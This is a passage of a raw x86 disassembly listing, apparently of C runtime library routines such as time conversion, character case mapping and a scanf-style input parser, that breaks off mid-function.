BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248A8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_48A09C test eax, eax jz short loc_41D544 mov [ebp+var_4], 1 call eax jmp short loc_41D540 ; --------------------------------------------------------------------------- loc_41D539: ; DATA XREF: ___:004248B8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D53D: ; DATA XREF: ___:004248BCo mov esp, [ebp+var_18] loc_41D540: ; CODE XREF: sub_41D4FC+3Bj and [ebp+var_4], 0 loc_41D544: ; CODE XREF: sub_41D4FC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D54D: ; DATA XREF: ___:004248B0o jmp loc_420922 sub_41D4FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D552 proc near ; CODE XREF: sub_418123+23p ; sub_418123:loc_41818Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248C0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43B924 test eax, eax jz short loc_41D59A mov [ebp+var_4], 1 call eax ; sub_41D4FC jmp short loc_41D596 ; --------------------------------------------------------------------------- loc_41D58F: ; DATA XREF: ___:004248D0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D593: ; DATA XREF: ___:004248D4o mov esp, [ebp+var_18] loc_41D596: ; CODE XREF: sub_41D552+3Bj and [ebp+var_4], 0 loc_41D59A: ; CODE XREF: sub_41D552+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D5A3: ; DATA XREF: ___:004248C8o jmp sub_41D4FC sub_41D552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5A8 proc near ; CODE XREF: sub_418603+7p ; sub_418603+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_48B688 push esi cmp eax, 3 jnz short loc_41D5D1 mov esi, [ebp+arg_0] push esi call sub_41AD89 test eax, eax pop ecx jz short loc_41D5CE mov eax, [esi-4] sub eax, 9 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5CE: ; CODE XREF: sub_41D5A8+1Cj push esi jmp short loc_41D5F8 ; --------------------------------------------------------------------------- loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej cmp eax, 2 jnz short loc_41D5F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_41D5F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj ; sub_41D5A8+43j push [ebp+arg_0] loc_41D5F8: ; CODE XREF: sub_41D5A8+27j push 0 push dword_48B684 nop call near ptr 28404BCh loc_41D606: ; CODE XREF: sub_41D5A8+24j ; sub_41D5A8+4Bj pop esi leave retn sub_41D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41D6C5 cmp ebx, 8Ah jg loc_41D6C5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43C054[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41D648 cmp edi, 2 jle short loc_41D648 inc esi loc_41D648: ; CODE XREF: sub_41D609+37j ; sub_41D609+3Cj call sub_420939 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43BF70 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41D6BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41D6C1 cmp dword_43BF74, 0 jz short loc_41D6C1 lea eax, [ebp+var_24] push eax call sub_420BAC pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41D6C1 loc_41D6BB: ; CODE XREF: sub_41D609+90j add ecx, dword_43BF78 loc_41D6C1: ; CODE XREF: sub_41D609+96j ; sub_41D609+9Fj ... mov eax, ecx jmp short loc_41D6C8 ; --------------------------------------------------------------------------- loc_41D6C5: ; CODE XREF: sub_41D609+13j ; sub_41D609+1Fj or eax, 0FFFFFFFFh loc_41D6C8: ; CODE XREF: sub_41D609+BAj pop ebx leave retn sub_41D609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_48A0A8, 0 push ebx jnz short loc_41D6F6 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41D794 cmp eax, 7Ah jg loc_41D794 sub eax, 20h jmp loc_41D794 ; --------------------------------------------------------------------------- loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41D729 cmp dword_4397AC, 1 jle short loc_41D716 push 2 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41D721 ; --------------------------------------------------------------------------- loc_41D716: ; CODE XREF: sub_41D6CB+3Dj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 2 loc_41D721: ; CODE XREF: sub_41D6CB+49j test eax, eax jnz short loc_41D729 loc_41D725: ; CODE XREF: sub_41D6CB+AFj mov eax, ebx jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D729: ; CODE XREF: sub_41D6CB+34j ; sub_41D6CB+58j mov edx, off_4395A0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D74C and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41D755 ; --------------------------------------------------------------------------- loc_41D74C: ; CODE XREF: sub_41D6CB+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41D755: ; CODE XREF: sub_41D6CB+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_41D725 cmp eax, 1 jnz short loc_41D787 movzx eax, [ebp+var_4] jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D787: ; CODE XREF: sub_41D6CB+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D794: ; CODE XREF: sub_41D6CB+14j ; sub_41D6CB+1Dj ... pop ebx leave retn sub_41D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41E19D mov edi, [ebp+arg_0] jmp short loc_41D7C6 ; --------------------------------------------------------------------------- loc_41D7C1: ; CODE XREF: sub_41D797+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41D7C6: ; CODE XREF: sub_41D797+28j cmp dword_4397AC, 1 jle short loc_41D7DE movzx eax, al push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D7ED ; --------------------------------------------------------------------------- loc_41D7DE: ; CODE XREF: sub_41D797+36j mov ecx, off_4395A0 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41D7ED: ; CODE XREF: sub_41D797+45j cmp eax, ebx jz short loc_41D827 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41E224 pop ecx pop ecx push eax call sub_41E20D movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 add esp, 0Ch loc_41D815: ; CODE XREF: sub_41D797+8Ej test eax, eax jz short loc_41D827 movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 pop ecx jmp short loc_41D815 ; --------------------------------------------------------------------------- loc_41D827: ; CODE XREF: sub_41D797+58j ; sub_41D797+80j cmp byte ptr [esi], 25h jnz loc_41E109 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41D85E: ; CODE XREF: sub_41D797+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_4397AC, 1 jle short loc_41D87B movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D88A ; --------------------------------------------------------------------------- loc_41D87B: ; CODE XREF: sub_41D797+D3j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D88A: ; CODE XREF: sub_41D797+E2j test eax, eax jz short loc_41D8A0 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8A0: ; CODE XREF: sub_41D797+F5j cmp ebx, 4Eh jg short loc_41D8E3 jz short loc_41D905 cmp ebx, 2Ah jz short loc_41D8DE cmp ebx, 46h jz short loc_41D905 cmp ebx, 49h jz short loc_41D8C0 cmp ebx, 4Ch jnz short loc_41D8F2 inc [ebp+var_D] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8C0: ; CODE XREF: sub_41D797+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41D8F2 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41D8F2 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8DE: ; CODE XREF: sub_41D797+113j inc [ebp+var_E] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8E3: ; CODE XREF: sub_41D797+10Cj cmp ebx, 68h jz short loc_41D8FF cmp ebx, 6Ch jz short loc_41D8F7 cmp ebx, 77h jz short loc_41D8FA loc_41D8F2: ; CODE XREF: sub_41D797+122j ; sub_41D797+12Dj ... inc [ebp+var_F] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8F7: ; CODE XREF: sub_41D797+154j inc [ebp+var_D] loc_41D8FA: ; CODE XREF: sub_41D797+159j inc [ebp+var_5] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8FF: ; CODE XREF: sub_41D797+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41D905: ; CODE XREF: sub_41D797+107j ; sub_41D797+10Ej ... cmp [ebp+var_F], 0 jz loc_41D85E cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41D92A mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41D92A: ; CODE XREF: sub_41D797+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41D948 mov al, [esi] cmp al, 53h jz short loc_41D944 cmp al, 43h jz short loc_41D944 or [ebp+var_5], 0FFh jmp short loc_41D948 ; --------------------------------------------------------------------------- loc_41D944: ; CODE XREF: sub_41D797+1A1j ; sub_41D797+1A5j mov [ebp+var_5], 1 loc_41D948: ; CODE XREF: sub_41D797+19Bj ; sub_41D797+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41D981 cmp esi, 63h jz short loc_41D972 cmp esi, 7Bh jz short loc_41D972 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41E224 pop ecx jmp short loc_41D97D ; --------------------------------------------------------------------------- loc_41D972: ; CODE XREF: sub_41D797+1C5j ; sub_41D797+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 loc_41D97D: ; CODE XREF: sub_41D797+1D9j pop ecx mov [ebp+var_14], eax loc_41D981: ; CODE XREF: sub_41D797+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41D991 cmp [ebp+var_C], eax jz loc_41E16D loc_41D991: ; CODE XREF: sub_41D797+1EFj cmp esi, 6Fh jg loc_41DBF8 jz loc_41DEAA cmp esi, 63h jz loc_41DBD5 cmp esi, 64h jz loc_41DEAA jle loc_41DC22 cmp esi, 67h jle short loc_41D9F5 cmp esi, 69h jz short loc_41D9DD cmp esi, 6Eh jnz loc_41DC22 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41E0D8 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41D9DD: ; CODE XREF: sub_41D797+229j push 64h pop esi loc_41D9E0: ; CODE XREF: sub_41D797+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41DC6A mov [ebp+var_17], 1 jmp loc_41DC6F ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D797+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41DA11 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41DA16 ; --------------------------------------------------------------------------- loc_41DA11: ; CODE XREF: sub_41D797+26Aj cmp ebx, 2Bh jnz short loc_41DA2D loc_41DA16: ; CODE XREF: sub_41D797+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA2D: ; CODE XREF: sub_41D797+27Dj mov edi, [ebp+arg_0] loc_41DA30: ; CODE XREF: sub_41D797+294j cmp [ebp+var_20], 0 jz short loc_41DA3F cmp [ebp+var_C], 15Dh jle short loc_41DA46 loc_41DA3F: ; CODE XREF: sub_41D797+29Dj mov [ebp+var_C], 15Dh loc_41DA46: ; CODE XREF: sub_41D797+2A6j ; sub_41D797+2F2j cmp dword_4397AC, 1 jle short loc_41DA5B push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DA66 ; --------------------------------------------------------------------------- loc_41DA5B: ; CODE XREF: sub_41D797+2B6j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DA66: ; CODE XREF: sub_41D797+2C2j test eax, eax jz short loc_41DA8B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DA8B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA46 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41D797+2D1j ; sub_41D797+2DBj cmp byte_4397B0, bl jnz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax mov al, byte_4397B0 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41DAB4: ; CODE XREF: sub_41D797+360j cmp dword_4397AC, 1 jle short loc_41DAC9 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DAD4 ; --------------------------------------------------------------------------- loc_41DAC9: ; CODE XREF: sub_41D797+324j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DAD4: ; CODE XREF: sub_41D797+330j test eax, eax jz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DAB4 ; --------------------------------------------------------------------------- loc_41DAF9: ; CODE XREF: sub_41D797+2FAj ; sub_41D797+304j ... cmp [ebp+var_1C], 0 jz loc_41DB91 cmp ebx, 65h jz short loc_41DB11 cmp ebx, 45h jnz loc_41DB91 loc_41DB11: ; CODE XREF: sub_41D797+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41DB38 mov [esi], al inc esi jmp short loc_41DB3D ; --------------------------------------------------------------------------- loc_41DB38: ; CODE XREF: sub_41D797+39Aj cmp ebx, 2Bh jnz short loc_41DB5B loc_41DB3D: ; CODE XREF: sub_41D797+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41DB4C and [ebp+var_C], eax jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB4C: ; CODE XREF: sub_41D797+3AEj ; sub_41D797+3F8j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DB5B: ; CODE XREF: sub_41D797+3A4j ; sub_41D797+3B3j cmp dword_4397AC, 1 jle short loc_41DB70 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DB7B ; --------------------------------------------------------------------------- loc_41DB70: ; CODE XREF: sub_41D797+3CBj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DB7B: ; CODE XREF: sub_41D797+3D7j test eax, eax jz short loc_41DB91 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41DB4C ; --------------------------------------------------------------------------- loc_41DB91: ; CODE XREF: sub_41D797+366j ; sub_41D797+374j ... dec [ebp+var_4] push edi push ebx call sub_41E20D cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43B908 add esp, 0Ch jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DBD5: ; CODE XREF: sub_41D797+20Cj cmp [ebp+var_20], eax jnz short loc_41DBE4 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41DBE4: ; CODE XREF: sub_41D797+441j cmp [ebp+var_5], 0 jle short loc_41DBEE mov [ebp+var_16], 1 loc_41DBEE: ; CODE XREF: sub_41D797+451j mov edi, offset dword_43B930 jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DBF8: ; CODE XREF: sub_41D797+1FDj mov eax, esi sub eax, 70h jz loc_41DEA6 sub eax, 3 jz loc_41DCF4 dec eax dec eax jz loc_41DEAA sub eax, 3 jz loc_41D9E0 sub eax, 3 jz short loc_41DC46 loc_41DC22: ; CODE XREF: sub_41D797+21Bj ; sub_41D797+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41E16D dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41E0FE mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DC46: ; CODE XREF: sub_41D797+489j cmp [ebp+var_5], 0 jle short loc_41DC50 mov [ebp+var_16], 1 loc_41DC50: ; CODE XREF: sub_41D797+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41DD07 mov eax, edi lea edi, [eax+1] jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DC6A: ; CODE XREF: sub_41D797+24Fj cmp ebx, 2Bh jnz short loc_41DC91 loc_41DC6F: ; CODE XREF: sub_41D797+259j dec [ebp+var_C] jnz short loc_41DC80 cmp [ebp+var_20], 0 jz short loc_41DC80 mov [ebp+var_F], 1 jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D797+4DBj ; sub_41D797+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DC91: ; CODE XREF: sub_41D797+4D6j ; sub_41D797+4E7j cmp ebx, 30h jnz loc_41DEDF push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41DCDF cmp bl, 58h jz short loc_41DCDF cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41DCC9 push 6Fh loc_41DCC3: ; CODE XREF: sub_41D797+55Bj pop esi jmp loc_41DEDF ; --------------------------------------------------------------------------- loc_41DCC9: ; CODE XREF: sub_41D797+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx push 30h pop ebx jmp loc_41DEDC ; --------------------------------------------------------------------------- loc_41DCDF: ; CODE XREF: sub_41D797+517j ; sub_41D797+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41DCC3 ; --------------------------------------------------------------------------- loc_41DCF4: ; CODE XREF: sub_41D797+46Fj cmp [ebp+var_5], 0 jle short loc_41DCFE mov [ebp+var_16], 1 loc_41DCFE: ; CODE XREF: sub_41D797+561j mov edi, offset dword_43B928 loc_41DD03: ; CODE XREF: sub_41D797+45Cj ; sub_41D797+4CEj or [ebp+var_18], 0FFh loc_41DD07: ; CODE XREF: sub_41D797+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_417330 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41DD2B cmp byte ptr [edi], 5Dh jnz short loc_41DD2B mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD2B: ; CODE XREF: sub_41D797+584j ; sub_41D797+589j mov dl, [ebp+var_35] loc_41DD2E: ; CODE XREF: sub_41D797+592j ; sub_41D797+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41DD93 inc edi cmp al, 2Dh jnz short loc_41DD7A test dl, dl jz short loc_41DD7A mov cl, [edi] cmp cl, 5Dh jz short loc_41DD7A inc edi cmp dl, cl jnb short loc_41DD4D mov al, cl jmp short loc_41DD51 ; --------------------------------------------------------------------------- loc_41DD4D: ; CODE XREF: sub_41D797+5B0j mov al, dl mov dl, cl loc_41DD51: ; CODE XREF: sub_41D797+5B4j cmp dl, al ja short loc_41DD76 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41DD5E: ; CODE XREF: sub_41D797+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41DD5E loc_41DD76: ; CODE XREF: sub_41D797+5BCj xor dl, dl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD7A: ; CODE XREF: sub_41D797+5A0j ; sub_41D797+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD93: ; CODE XREF: sub_41D797+59Bj cmp byte ptr [edi], 0 jz loc_41E19D cmp [ebp+var_3C], 7Bh jnz short loc_41DDA5 mov [ebp+arg_4], edi loc_41DDA5: ; CODE XREF: sub_41D797+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41E20D pop ecx pop ecx loc_41DDBC: ; CODE XREF: sub_41D797+6BCj ; sub_41D797+6C4j cmp [ebp+var_20], 0 jz short loc_41DDD0 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41DE6C loc_41DDD0: ; CODE XREF: sub_41D797+629j inc [ebp+var_4] push edi call sub_41E1F3 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41DE60 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41DE60 cmp [ebp+var_E], 0 jnz short loc_41DE58 cmp [ebp+var_16], 0 jz short loc_41DE4D mov ecx, off_4395A0 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41DE2C inc [ebp+var_4] push edi call sub_41E1F3 pop ecx mov [ebp+var_37], al loc_41DE2C: ; CODE XREF: sub_41D797+686j push dword_4397AC lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_420E98 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41DE50 ; --------------------------------------------------------------------------- loc_41DE4D: ; CODE XREF: sub_41D797+673j mov [esi], al inc esi loc_41DE50: ; CODE XREF: sub_41D797+6B4j mov [ebp+var_2C], esi jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE58: ; CODE XREF: sub_41D797+66Dj inc [ebp+var_30] jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE60: ; CODE XREF: sub_41D797+649j ; sub_41D797+667j dec [ebp+var_4] push edi push eax call sub_41E20D pop ecx pop ecx loc_41DE6C: ; CODE XREF: sub_41D797+633j cmp [ebp+var_30], esi jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41E0FE cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41DE9E and word ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DE9E: ; CODE XREF: sub_41D797+6FCj and byte ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DEA6: ; CODE XREF: sub_41D797+466j mov [ebp+var_D], 1 loc_41DEAA: ; CODE XREF: sub_41D797+203j ; sub_41D797+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41DEB8 mov [ebp+var_17], 1 jmp short loc_41DEBD ; --------------------------------------------------------------------------- loc_41DEB8: ; CODE XREF: sub_41D797+719j cmp ebx, 2Bh jnz short loc_41DEDF loc_41DEBD: ; CODE XREF: sub_41D797+71Fj dec [ebp+var_C] jnz short loc_41DECE cmp [ebp+var_20], 0 jz short loc_41DECE mov [ebp+var_F], 1 jmp short loc_41DEDF ; --------------------------------------------------------------------------- loc_41DECE: ; CODE XREF: sub_41D797+729j ; sub_41D797+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax loc_41DEDC: ; CODE XREF: sub_41D797+543j mov [ebp+var_14], ebx loc_41DEDF: ; CODE XREF: sub_41D797+4FDj ; sub_41D797+52Dj ... cmp [ebp+var_30], 0 jz loc_41DFF8 cmp [ebp+var_F], 0 jnz loc_41DFD6 loc_41DEF3: ; CODE XREF: sub_41D797+82Cj cmp esi, 78h jnz short loc_41DF47 cmp dword_4397AC, 1 jle short loc_41DF10 push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF1D ; --------------------------------------------------------------------------- loc_41DF10: ; CODE XREF: sub_41D797+768j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 80h loc_41DF1D: ; CODE XREF: sub_41D797+777j test eax, eax jz loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_420F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DF9A ; --------------------------------------------------------------------------- loc_41DF47: ; CODE XREF: sub_41D797+75Fj cmp dword_4397AC, 1 jle short loc_41DF5C push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF67 ; 